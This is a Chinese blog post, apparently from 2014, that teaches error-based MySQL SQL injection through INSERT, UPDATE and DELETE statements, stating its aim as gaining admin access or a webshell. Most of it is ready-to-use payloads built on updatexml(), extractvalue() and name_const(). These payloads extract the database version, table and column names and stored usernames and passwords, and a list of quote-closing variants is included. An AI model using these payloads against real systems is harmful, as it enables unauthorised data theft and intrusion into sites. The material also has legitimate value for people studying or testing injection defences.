注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

抛开select利用insert,update和delete注入  

2014-09-12 10:00:27|  分类: SQL injection |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
1INSERT INTO users (id, username, password) VALUES (1,'Olivia' or(SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '''Nervo');
2ERROR 1060 (42S21): Duplicate column name 'users'

为了获得后台或者直接得到webshell 我们会利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

为了更好的演示注射效果,我们先利用下面的语句创建原始数据:

1create database newdb;
2 use newdb;
3 create table users(
4 id int(3) not null auto_increment,
5 username varchar(20) not null,
6 password varchar(20) not null,
7 primary key (id)
8 );
9 insert into users values(1,'Jane','Eyre');

i1-300x164
看一下当前数据结构:
i2-300x159
因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

1insert into users (id, username, password) values (2,''inject here'','Olivia');
2 insert into users (id, username, password) values (2,""inject here"",'Olivia');

i3-300x41
注意:大家看到本来是要填入username字段的地方,我们填了’inject here’和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

1or updatexml(1,concat(0x7e,(version())),0) or
2Insert:
3INSERT INTO users (id, username, password) VALUES (2,'Olivia' orupdatexml(1,concat(0x7e,(version())),0) or'''Nervo');

Update:

1UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0)or''WHERE id=2 and username='Olivia';

Delete:

1DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0)or'';

提取数据:
由于篇幅有限,在insert、update、delete用法一致的时候,我会仅以insert为例说明。
所用的payload为:
[/php]or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or[/php]
如果你碰到一个update的注入并且想获取当前表的数据的话,可用用双查询,我后面会讲到。

extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

1or extractvalue(1,concat(0x7e,database())) or

Insert:

1INSERT INTO users (id, username, password) VALUES (2,'Olivia' orextractvalue(1,concat(0x7e,database())) or'''Nervo');

update:

1UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database()))or'' WHERE id=2 and username='Nervo';

delete:

1DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database()))or'';

提取数据:
同样,在insert、update、delete用法一致的时候,我会仅以insert为例说明。
获取newdb数据库表名:

1INSERT INTO users (id, username, password) VALUES (2,'Olivia' orextractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'','Nervo');

获取users表的列名:

1INSERT INTO users (id, username, password) VALUES (2,'Olivia' orextractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'','Nervo');

获取users表的数据:

1INSERT INTO users (id, username, password) VALUES (2,'Olivia' orextractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '''Nervo');

同样,我们可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前表的数据。
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
更多闭合变种

1' or (payload) or '
2' and (payload) and '
3' or (payload) and '
4' or (payload) and '='
5'* (payload) *'
6' or (payload) and '
7" – (payload) – "
  评论这张
 
阅读(284)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017